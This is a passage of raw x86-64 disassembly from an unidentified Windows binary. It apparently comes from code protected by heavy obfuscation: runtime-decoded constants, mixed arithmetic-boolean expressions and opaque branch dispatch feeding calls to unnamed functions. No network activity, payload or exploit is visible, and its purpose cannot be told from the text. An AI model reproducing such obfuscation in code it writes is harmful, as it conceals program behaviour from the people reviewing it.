sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0xcb0d9a07
add eax, ecx
xor eax, 0xf0d54898
add eax, 0x18e1f3a5
xor eax, 0x14012eff
mov r14d, dword [0x14033e030]
xor r14d, 0x18571609
sub r14d, eax
mov eax, dword [0x14033e038]
xor eax, 0xe7a8e9f6
sub r14d, eax
sub r14d, ecx
add r14d, 0x403a4b97
xor r14d, 0x3ba55da6
mov dword [rbp + 4], r14d
mov eax, dword [rbp + 0x90]
mov dword [rsp + 0x70], eax
xor ecx, ecx
mov byte [rbp + 0x558], cl
lea rcx, [rbp + 0x558]
call fcn.14027faac
mov r12, qword [0x14033e070]
movabs rax, 0x269cb59800000000
imul r12, rax
movabs rax, 0xd3d31cb700000000
xor r12, rax
mov rcx, r12
movabs r9, 0xbbadf91f49a1fc68
imul rcx, r9
movabs r11, 0xaaaaaaaaaaaaaaab
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rbx, r12
and rbx, r9
lea r15, [0x14033e060]
imul rbx, qword [r15 + rcx*8]
movabs rax, 0x9d1a1bded26d18b8
imul rbx, rax
shr rbx, 3
movabs rax, 0x97acc4a9be0b0268
xor rbx, rax
mov r9, r12
movabs rax, 0xffffff57c7bf6d9b
imul r9, rax
sub r9, 0x3560eb8
xor r9, rbx
xor r9, qword [0x14033e060]
mov rax, rbx
imul rax, qword [0x14033e070]
movabs rcx, 0xb9de928bce0cd2ba
imul rax, rcx
not rax
and r9, rax
ror r9, 0x23
shr r9, 8
movabs r8, 0x445206e0b65e0398
lea rcx, [r12 + r8]
xor rcx, 0xfffffffff082d9b7
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rdi, qword [r15 + rcx*8]
movabs rax, 0x1473b6c8838c6f0
imul rdi, rax
sub rdi, r8
mov rax, rbx
movabs rcx, 0xdda604ec9a72d660
imul rax, rcx
xor rdi, rax
shr rdi, 0x1f
not rdi
mov r10, rdi
xor r10, r12
lea rcx, [rdi + r8]
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, dil
movzx ecx, byte [r15 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xab
mov eax, 0x8000003f
and ecx, eax
jge 0x14028625e
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r10, cl
not r10
imul r10, rbx
imul r13, r10, 0xfffffffffca9f148
lea r15, [r8 + r13]
mov r8, rdi
imul r8, r9
sub r8, r15
movabs rcx, 0x963d578bb2757f3f
xor r8, rcx
movzx ecx, r15b
xor ecx, 4
and ecx, 0xf
and ecx, eax
jge 0x14028629f
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r8, cl
movabs rax, 0x88f5991c34d4e540
imul r10, rax
movabs rax, 0x1bfb39a2c3acea40
sub r10, rax
xor r8, r10
mov rax, r15
sub rax, qword [0x14033e078]
xor r8, rax
xor r8, rbx
xor r8, r12
mov rax, r11
mul rbx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rdx, rbx
sub rdx, rax
mov rax, r8
imul rax, qword [0x14033e080]
lea rcx, [0x14033e060]
mov r11, qword [rcx + rdx*8]
and r11, rax
xor r11, rbx
and bl, 0x3f
mov cl, bl
ror r11, cl
imul r11, r15
not r9
imul r9, rdi
movabs rax, 0x7cd8a7de75e23856
imul r9, rax
mov rax, r11
imul rax, r12
xor r9, rax
mov rbx, qword [0x14033e060]
imul r10, rbx, 0xfffffffffca9f148
mov rdx, qword [0x14033e068]
sub r10, rdx
mov al, r9b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140286365
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r10, cl
lea rcx, [r10 + r13]
movabs rax, 0xbbadf91f49a1fc68
imul rcx, rax
movabs rax, 0x1bfb39a2c3acea40
sub rcx, rax
movabs rax, 0xbbadf91f49a1fc67
sub rax, r13
imul rcx, rax
imul rcx, r8
movabs rax, 0xf5ed7e87821a7847
xor rdi, rax
not rdi
xor rcx, rdi
xor r11, r9
imul r11, rbx
sub rcx, r11
call fcn.14027f728
mov qword [0x14034c9b8], rax
xor ebx, ebx
mov dword [rbp + 8], ebx
mov dword [rbp + 8], 0x63623006
mov eax, dword [rbp + 8]
add eax, 0x40c530b5
xor eax, 0xc609d2c9
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x5a27de90
xor eax, 0x37d25439
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0xc394e54e
add eax, ecx
xor eax, 0x1e1f8e7b
add eax, 0x4bac9f37
xor eax, 0xa8d956ad
lea edx, [rcx - 0x783b77fe]
add edx, eax
not edx
mov eax, dword [0x14033e038]
xor eax, 0xd9031316
sub edx, eax
mov ecx, dword [0x14033e030]
xor ecx, 0x26fcece9
add ecx, 0x83ae9d31
add ecx, edx
xor ecx, 0x670ca706
mov dword [rbp + 8], ecx
movsxd r9, ecx
mov dword [rbp + 0xc], ebx
mov dword [rbp + 0xc], 0x607652a7
mov eax, dword [rbp + 0xc]
add eax, 0x85672335
xor eax, 0xb88a176b
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
add eax, 0x250a3b98
xor eax, 0xf21dd9ef
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0xa66b10a2
add eax, ecx
xor eax, 0xcfd6d5e1
add eax, 0x1c0f8d39
xor eax, 0xf286385e
mov edx, dword [0x14033e030]
xor edx, 0x25ea651f
sub edx, eax
mov eax, dword [0x14033e038]
xor eax, 0xda159ae0
sub edx, eax
sub edx, ecx
sub edx, 0x2d7c14a8
xor edx, 0xdf782120
mov dword [rbp + 0xc], edx
movsxd r8, edx
mov dword [rbp + 0x10], ebx
mov dword [rbp + 0x10], 0x6d5e395
mov eax, dword [rbp + 0x10]
add eax, 0x41c7adb6
xor eax, 0x430ad3cc
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x5d2ae607
xor eax, 0x32cbcd44
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0xe6b604a0
add eax, ecx
xor eax, 0xf8f8b7e6
sub eax, 0x77958ad5
xor eax, 0x40501019
mov edx, dword [0x14033e030]
xor edx, 0x22f8e2f5
sub edx, eax
mov eax, dword [0x14033e038]
xor eax, 0xdd071d0a
sub edx, eax
sub edx, ecx
sub edx, 0x20c8944
xor edx, 0x45219e92
mov dword [rbp + 0x10], edx
movsxd rdx, edx
mov eax, dword [0x1403606e8]
test eax, eax
jne 0x14028655c
mov dword [rsp + 0x70], ebx
jmp 0x1402865af
mov dword [rbp + 0x230], eax
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x48], rsi
mov rax, qword [rsp + 0x68]
mov dword [rsp + 0x40], eax
lea rax, [rbp + 0x140]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r14d
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x220]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x78]
call fcn.140291310
mov dword [rsp + 0x70], eax
mov dword [rbp + 0x10], ebx
mov dword [rbp + 0xc], ebx
mov dword [rbp + 8], ebx
mov dword [rbp + 0x14], ebx
mov dword [rbp + 0x14], 0xf803eb1a
mov ecx, dword [rbp + 0x14]
add ecx, 0x3a50a36
xor ecx, 0x9f8a95a9
sub ecx, dword [0x14033e050]
sub ecx, dword [0x14033e058]
add ecx, 0x238f81e3
xor ecx, 0x71e6fb52
sub ecx, dword [0x14033e048]
mov rdx, qword [0x14033e040]
lea eax, [rdx + 0x7b0e0990]
add eax, ecx
xor eax, 0x3fd83a64
add eax, 0x74b8067d
xor eax, 0x7b6352ef
mov r13d, dword [0x14033e030]
xor r13d, 0x23f16d83
sub r13d, eax
mov eax, dword [0x14033e038]
xor eax, 0xdc0e927c
sub r13d, eax
sub r13d, edx
add r13d, 0x4840b4a6
xor r13d, 0xaa8fc174
mov dword [rbp + 0x14], r13d
mov dword [rbp + 0x14], ebx
mov dword [rbp + 4], ebx
mov qword [rbp + 0xe0], rbx
movabs rax, 0x3d794e57c2986000
movabs r9, 0xf9520bcd1f611b0a
movabs r8, 0x9de04d4e5540a7a7
mov rbx, qword [0x14033e070]
imul rbx, rax
movabs rax, 0x8a9dcdf53a1e9000
xor rbx, rax
mov rcx, rbx
imul rcx, r8
mov qword [rbp + 0x558], rcx
movabs rdi, 0xaaaaaaaaaaaaaaab
mov rax, rdi
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r10, rbx
and r10, r8
lea rax, [0x14033e060]
imul r10, qword [rax + rcx*8]
movabs rax, 0xdcdd3fb1e752c224
imul r10, rax
shr r10, 3
movabs rax, 0x39b73e97047273a5
xor r10, rax
movabs rax, 0xffffff57cb3fd0c5
mov r14, rbx
imul r14, rax
sub r14, 0x1b5d796
xor r14, r10
xor r14, qword [0x14033e060]
mov rax, r10
imul rax, qword [0x14033e070]
movabs rcx, 0xb9de928bc28c6fe4
imul rax, rcx
not rax
and r14, rax
ror r14, 0x32
shr r14, 8
movabs r15, 0x621fb2b1aabf5859
lea rcx, [rbx + r15]
xor rcx, 0xfffffffffc0264e9
mov rax, rdi
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x347f26e1ee3b048
lea r11, [0x14033e060]
mov rsi, qword [r11 + rcx*8]
imul rsi, rax
sub rsi, r15
movabs rcx, 0x218f5e5395f0a618
mov rax, r10
imul rax, rcx
xor rsi, rax
shr rsi, 0x1f
not rsi
mov r12, rsi
xor r12, rbx
lea rcx, [rsi + r15]
mov rax, rdi
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, sil
movzx ecx, byte [r11 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xf5
and ecx, 0x8000003f
jge 0x1402867cc
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r12, cl
not r12
imul r12, r10
imul rdx, r12, 0xfffffffffe4a286a
mov qword [rsp + 0x68], rdx
lea rdi, [rdx + r15]
mov r11, rsi
imul r11, r14
sub r11, rdi
xor r11, r9
mov cl, dil
xor cl, 0xfa
and cl, 0xf
rol r11, cl
movabs rax, 0x26ee63228f3d8326
imul r12, rax
movabs rax, 0x2ee49f6d274b4ef1
sub r12, rax
xor r11, r12
mov rax, rdi
sub rax, qword [0x14033e078]
xor r11, rax
xor r11, r10
xor r11, rbx
mov rax, r11
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x140286b79
sub rax, 1
je 0x140286a50
sub rax, 1
je 0x140286954
cmp rax, 1
jne 0x140286c21
mov r9, rdi
imul r9, rsi
movabs rax, 0x613f1e858cc19a7d
add rax, r11
xor r9, rax
ror r9, 0xa
shr r9, 0xc
xor r9, rbx
not r9
movabs rcx, 0x8357207d61e2
mov rdx, qword [0x14033e088]
add rdx, rcx
movabs rax, 0x629d37c9c1d9193d
xor rdx, rax
movzx eax, r11b
movzx ecx, r9b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db9789d8d1d
sub rax, rsi
mov rsi, rdx
xor rsi, rax
mov rcx, rsi
imul rcx, r8
mov eax, 0xa9465ff7
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14033e060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs r8, 0x27ccd70888b495d0
sub r8, r9
shr r8, cl
movabs rax, 0x6227d73a06818795
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r11
imul rax, qword [r12 + rcx*8]
imul rax, r11
sub rax, r14
xor r8, rax
jmp 0x140286c21
movabs rax, 0xaaaaaa1aa95fa2c9
mov rcx, r11
xor rcx, rax
movabs rax, 0x1206ed6b527e85
imul rcx, rax
movabs r15, 0xfff17ca87e3d94b5
mov rax, r10
xor rax, r15
sub rcx, rax
movabs rax, 0xffff7e8a8f4f9015
imul rdx, rax
movabs rsi, 0x249a18892d2adf62
add rsi, rcx
add rsi, rdx
movabs rax, 0x277cd7be7b8f75a9
mov rcx, rsi
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rdi, rsi
not rdi
lea rax, [0x14033e060]
imul rdi, qword [rax + rcx*8]
xor rdi, 0xfffffffffc0a7419
lea ecx, [r11 + 0xb]
and cl, 0x3f
rol rdi, cl
movabs rcx, 0xdf97debfeaf28157
mov rax, qword [rbp + 0x558]
xor rax, rcx
movabs rcx, 0x7c7a7dc6950d7ea8
and rax, rcx
imul rdi, rax
mov rcx, rdi
ror rcx, 0x1e
not rcx
movabs rax, 0x9b2de6b2d18fde38
imul rcx, rax
mov rax, rsi
sub rax, rdi
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, r8
mov r8, rdx
imul r8, rax
jmp 0x140286c21
movabs rax, 0xb49521319f1794b5
imul r11, rax
movabs rax, 0xd79435e50d79435f
mul r11
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r11b
sub cl, dl
movabs rdx, 0x621fb2b1aabf5858
mov rax, rbx
imul rax, rdx
xor rax, r9
not rax
shl rax, cl
xor r10, rax
mov cl, dil
and cl, 0x3f
rol r10, cl
lea rcx, [r11 + r15]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xd4e5540a7a7
lea rax, [0x14033e060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r10, rax
movabs rax, 0xffffc7a7f59bd4e4
or r10, rax
mov r8, qword [0x14033e070]
imul r8, r9
sub r8, rdi
mov rax, r14
sub rax, r10
xor r8, rax
movabs rax, 0xc7a7c6a6a493d4e9
xor r8, rax
movabs rax, 0xcccccccccccccccd
mul rbx
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rbx
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, r8
div rcx
mov rcx, rdx
mov rdx, r11
imul rdx, rdi
imul rdx, r8
shr rdx, cl
mov rax, rsi
sub rax, rdx
sub rax, rbx
movabs rbx, 0x78958946bc198f3
add rbx, rax
xor rbx, r14
mov al, sil
add al, al
lea ecx, [rax + rsi]
shl cl, 2
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x140286c21
movabs rax, 0xaaaaaaaaaaaaaaab
mul r10
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r10
sub rcx, rax
mov rax, r11
imul rax, qword [0x14033e080]
lea rdx, [0x14033e060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r10
and r10b, 0x3f
mov cl, r10b
mov r10, rdx
ror r10, cl
imul r10, rdi
not r14
imul r14, rsi
movabs rax, 0x7cd8a7de79628508
imul r14, rax
mov rax, r10
imul rax, rbx
mov rbx, r14
xor rbx, rax
imul r14, qword [0x14033e060], 0xfffffffffe4a286a
mov rdx, qword [0x14033e068]
sub r14, rdx
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140286c16
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
add r14, r15
add r14, qword [rsp + 0x68]
movabs rax, 0xff055d7b89298fc5
xor r9, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r9, rax
xor r10, rbx
lea rax, [0x14033e060]
imul r10, qword [rax + r9*8]
not rdi
imul rdi, r11
imul rdi, r14
imul rdi, r8
movabs rcx, 0xf5ed7e878e9ac519
xor rcx, rsi
not rcx
xor rcx, rdi
sub rcx, r10
call fcn.14001fb84
mov qword [0x14034c9e8], rax
xor r15d, r15d
mov dword [rbp + 0x18], r15d
mov dword [rbp + 0x18], 0x59958a1c
mov eax, dword [rbp + 0x18]
add eax, 0xd458c235
xor eax, 0x578a665d
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
add eax, 0x241d66bb
xor eax, 0xa1f07473
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0xbb42154d
add eax, ecx
xor eax, 0x75cb3c85
add eax, 0x2790e19d
xor eax, 0xd30af151
mov edx, dword [0x14033e030]
xor edx, 0x24ae9ea3
sub edx, eax
mov eax, dword [0x14033e038]
xor eax, 0xdb51615c
sub edx, eax
sub edx, ecx
add edx, 0x5c51317c
xor edx, 0xfb6fc594
mov dword [rbp + 0x18], edx
movsxd rax, edx
mov qword [rbp + 0x558], rax
mov dword [rbp + 0x18], r15d
xor eax, eax
mov byte [rbp + 0x558], al
lea rcx, [rbp + 0x558]
call fcn.140021474
mov dword [rbp + 0x1c], r15d
mov dword [rbp + 0x1c], 0xd25bd246
mov qword [rbp + 0xe8], r15
movabs rax, 0x7020a1684b6fcd13
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xf0], r15
movabs rax, 0xf3ad678596628467
mov qword [rbp + 0xf0], rax
movabs rcx, 0xf33a52b69ae6e803
add rcx, qword [rbp + 0xf0]
movabs rax, 0xd553662530a2ceb
xor rcx, rax
mov r11, qword [0x14033e058]
sub rcx, r11
mov r10, qword [0x14033e050]
sub rcx, r10
movabs rax, 0xedf047f5b3643b7
sub rcx, rax
movabs rax, 0xf8f8cd97dc48160d
xor rcx, rax
mov r9, qword [0x14033e048]
sub rcx, r9
movabs rax, 0xc7d654b8c93c20fd
add rcx, rax
mov rbx, qword [0x14033e040]
add rcx, rbx
movabs rax, 0x5a9179a7b7511965
xor rcx, rax
movabs rax, 0x5f627dc6e0b27c88
sub rcx, rax
movabs rax, 0x9e3b3cd213c5a9f9
xor rcx, rax
movabs rdx, 0x3483ce443019bcb8
add rdx, rcx
add rdx, rbx
not rdx
movabs rcx, 0x13cce94ada6b99f4
mov r8, qword [0x14033e038]
mov rax, r8
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b52594660b
mov rdi, qword [0x14033e030]
mov rcx, rdi
xor rcx, rax
movabs r14, 0xe0b56d8fed9c00c9
add r14, rdx
add r14, rcx
movabs rax, 0x78847e378706d57c
xor r14, rax
mov qword [rbp + 0xf0], r14
movabs rcx, 0xf33a52b71bfa3583
add rcx, qword [rbp + 0xe8]
movabs rax, 0x5ad53662530aadfe
xor rcx, rax
sub rcx, r11
sub rcx, r10
movabs rax, 0x7120fb80a3468261
add rcx, rax
movabs rax, 0xf8f8cd9759307b57
xor rcx, rax
sub rcx, r9
movabs rax, 0x87d654b81a066d4a
add rcx, rax
add rcx, rbx
movabs rax, 0x5a9179a7241714ff
xor rcx, rax
movabs rax, 0x5f627dc68171535a
sub rcx, rax
movabs rax, 0x323b3cd1d337fa9e
xor rcx, rax
movabs rdx, 0xb483ce43b28df657
add rdx, rcx
add rdx, rbx
not rdx
movabs rcx, 0x13cce94adc6fe72a
mov rax, r8
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b5239018d5
mov rcx, rdi
xor rcx, rax
movabs rsi, 0xe0b56d91f3ed7c7f
add rsi, rdx
add rsi, rcx
movabs rax, 0x63f67832ac6745f2
xor rsi, rax
mov qword [rbp + 0xe8], rsi
mov eax, dword [rbp + 0x1c]
add eax, 0xda1a68b5
xor eax, 0xfe0a6c1e
sub eax, r10d
sub eax, r11d
sub eax, 0x5bf3de38
xor eax, 0x9c17c759
sub eax, r9d
add eax, 0xf371b7ca
add eax, ebx
xor eax, 0x6f3a5a9b
add eax, 0x283b4997
xor eax, 0x9c29f004
xor edi, 0x24979809
sub edi, eax
xor r8d, 0xdb6867f6
sub edi, r8d
sub edi, ebx
sub edi, 0x6f9daf8
xor edi, 0x9e7fb7a6
mov dword [rbp + 0x1c], edi
mov eax, dword [0x14035ca24]
test eax, eax
jne 0x140286f9c
mov eax, r15d
jmp 0x140286fc0
mov dword [rbp + 0x248], eax
lea rax, [rbp + 0x238]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x78]
call fcn.140291310
movsxd rcx, edi
mov rdx, r15
cmp rax, rcx
setb dl
and rsi, r14
mov rax, r15
cmp rdx, rsi
sete al
mov qword [rbp + 0x558], rax
mov qword [rbp + 0xf0], r15
mov qword [rbp + 0xe8], r15
mov dword [rbp + 0x1c], r15d
movabs rax, 0x3000000000000000
movabs r9, 0xf1528e1aad9061ad
movabs r8, 0x808adfa0fc71e71f
mov rsi, qword [0x14033e078]
imul rsi, rax
movabs rax, 0xd000000000000000
xor rsi, rax
mov rcx, rsi
imul rcx, r8
mov qword [rsp + 0x78], rcx
movabs r11, 0xaaaaaaaaaaaaaaab
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r10, rsi
and r10, r8
lea rbx, [0x14033e060]
imul r10, qword [rbx + rcx*8]
movabs rax, 0xeaf23179835b068e
imul r10, rax
shr r10, 3
movabs rax, 0x7227b37c663ecf21
xor r10, rax
movabs rax, 0xffffff57d775cc01
mov r14, rsi
imul r14, rax
sub r14, 0x15fc17a
xor r14, r10
xor r14, qword [0x14033e060]
mov rax, r10
imul rax, qword [0x14033e070]
movabs rcx, 0xb9de928bdec67320
imul rax, rcx
not rax
and r14, rax
ror r14, 0xe
shr r14, 8
movabs r15, 0x7f75205f038e18e1
lea rcx, [rsi + r15]
xor rcx, 0xffffffffe048782d
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0xbbb194c9d554c240
mov rdi, qword [rbx + rcx*8]
imul rdi, rax
sub rdi, r15
movabs rcx, 0x69bb0f66d7efbbcc
mov rax, r10
imul rax, rcx
xor rdi, rax
shr rdi, 0x1f
not rdi
mov r12, rdi
xor r12, rsi
lea rcx, [rdi + r15]
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, dil
movzx ecx, byte [rbx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x31
and ecx, 0x8000003f
jge 0x140287162
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r12, cl
not r12
imul r12, r10
imul rdx, r12, 0xfffffffffea03e86
mov qword [rsp + 0x68], rdx
lea rbx, [rdx + r15]
mov r11, rdi
imul r11, r14
sub r11, rbx
xor r11, r9
mov cl, bl
xor cl, 0xfe
and cl, 0xf
rol r11, cl
mov rax, rbx
sub rax, qword [0x14033e078]
xor r11, rax
movabs rax, 0x6d7eeec9eef87c3a
imul r12, rax
movabs rax, 0x25655a72e206f5c1
sub r12, rax
xor r11, r12
xor r11, r10
xor r11, rsi
mov rax, r11
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x140287506
sub rax, 1
je 0x1402873e3
sub rax, 1
je 0x1402872e9
cmp rax, 1
jne 0x1402875af
mov r9, rbx
imul r9, rdi
movabs rax, 0xe01d237447ffaae1
add rax, r11
xor r9, rax
ror r9, 0x36
shr r9, 0xc
xor r9, rsi
not r9
movabs rcx, 0x83573c377d26
mov rdx, qword [0x14033e088]
add rdx, rcx
movabs rax, 0x7ff7a52774a24541
xor rdx, rax
movzx eax, r11b
movzx ecx, r9b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db964d791d9
sub rax, rdi
mov rdi, rdx
xor rdi, rax
mov rcx, rdi
imul rcx, r8
mov eax, 0xb50c4333
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14033e060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs r8, 0x344f86f8e6ef6e28
sub r8, r9
shr r8, cl
movabs rdx, 0x7f7d44e74b164ce1
mov rcx, qword [rsp + 0x68]
add rcx, rdx
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r11
imul rax, qword [r12 + rcx*8]
imul rax, r11
sub rax, r14
xor r8, rax
jmp 0x1402875af
movabs rax, 0xaaaaaa1ab515be0d
mov rcx, r11
xor rcx, rax
movabs rax, 0x1206ed77186241
imul rcx, rax
movabs rdi, 0xfff17ca862778871
mov rax, r10
xor rax, rdi
sub rcx, rax
movabs rax, 0xffff7e8a93058cd1
imul rdx, rax
movabs rdi, 0xf2fb367df07e882
add rdi, rcx
add rdi, rdx
movabs rax, 0x277cd7be67c5696d
mov rcx, rdi
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rbx, rdi
not rbx
lea rax, [0x14033e060]
imul rbx, qword [rax + rcx*8]
xor rbx, 0xffffffffe04068dd
lea ecx, [r11 + 0xf]
and cl, 0x3f
rol rbx, cl
movabs rcx, 0x284871c200000000
mov rax, qword [rsp + 0x78]
xor rax, rcx
movabs rcx, 0x7c7a7dc68947626c
and rax, rcx
imul rbx, rax
mov rcx, rbx
ror rcx, 0x3d
not rcx
movabs rax, 0x9b2de6b2a0a7ad28
imul rcx, rax
mov rax, rdi
sub rax, rbx
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, r8
mov r8, rdx
imul r8, rax
jmp 0x1402875af
movabs rcx, 0xcc341b28bb781851
imul r11, rcx
movabs rax, 0xd79435e50d79435f
mul r11
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r11b
sub cl, dl
movabs rdx, 0x7f75205f038e18e0
mov rax, rsi
imul rax, rdx
xor rax, r9
not rax
shl rax, cl
xor r10, rax
mov cl, bl
and cl, 0x3f
rol r10, cl
lea rcx, [r11 + r15]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x1fa0fc71e71f
lea rax, [0x14033e060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r10, rax
movabs rax, 0xffffc7a7e9d1c820
or r10, rax
mov r8, qword [0x14033e070]
imul r8, r9
sub r8, rbx
mov rax, r14
sub rax, r10
xor r8, rax
movabs rcx, 0xc7a7c6a6b8d9c82d
xor r8, rcx
movabs rax, 0xcccccccccccccccd
mul rsi
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rsi
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, r8
div rcx
mov rcx, rdx
mov rdx, r11
imul rdx, rbx
imul rdx, r8
shr rdx, cl
mov rax, rdi
sub rax, rdx
sub rax, rsi
movabs rsi, 0x7895894778b8437
add rsi, rax
xor rsi, r14
mov cl, dil
shl cl, 3
and cl, 0x3f
rol rsi, cl
not rsi
jmp 0x1402875af
movabs rax, 0xaaaaaaaaaaaaaaab
mul r10
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r10
sub rcx, rax
mov rax, r11
imul rax, qword [0x14033e080]
lea rdx, [0x14033e060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r10
and r10b, 0x3f
mov cl, r10b
mov r10, rdx
ror r10, cl
imul r10, rbx
not r14
imul r14, rdi
movabs rax, 0x7cd8a7de652899cc
imul r14, rax
mov rax, r10
imul rax, rsi
mov rsi, r14
xor rsi, rax
imul r14, qword [0x14033e060], 0xfffffffffea03e86
mov rdx, qword [0x14033e068]
sub r14, rdx
mov al, sil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x1402875a4
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
add r14, r15
add r14, qword [rsp + 0x68]
movabs rcx, 0xff055d7b95639301
xor r9, rcx
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r9, rax
xor r10, rsi
lea rax, [0x14033e060]
imul r10, qword [rax + r9*8]
not rbx
imul rbx, r11
imul rbx, r14
imul rbx, r8
movabs rcx, 0xf5ed7e8792d0d9dd
xor rcx, rdi
not rcx
xor rcx, rbx
sub rcx, r10
call fcn.14001fde8
mov qword [0x14034c998], rax
mov rax, qword [rbp + 0x558]
and qword [rbp + 0xf8], 0
movabs rax, 0xe343e2371a7dc47f
mov qword [rbp + 0xf8], rax
and qword [rbp + 0x100], 0
movabs rax, 0x4fe4ed84f791cb43
mov qword [rbp + 0x100], rax
movabs rcx, 0xf33a52a9e1e60a83
add rcx, qword [rbp + 0x100]
movabs rax, 0x2fd5366252fd73ea
xor rcx, rax
sub rcx, qword [0x14033e058]
sub rcx, qword [0x14033e050]
movabs rax, 0x7120fb80caf4bee2
add rcx, rax
movabs rax, 0xf8f8cda4c82cf703
xor rcx, rax
sub rcx, qword [0x14033e048]
movabs rax, 0x7d654ca0e5ccda8
add rcx, rax
mov rdi, qword [0x14033e040]
add rcx, rdi
movabs rax, 0x5a9179b63a56160b
xor rcx, rax
movabs rax, 0x5f627ddfa8fe3d6e
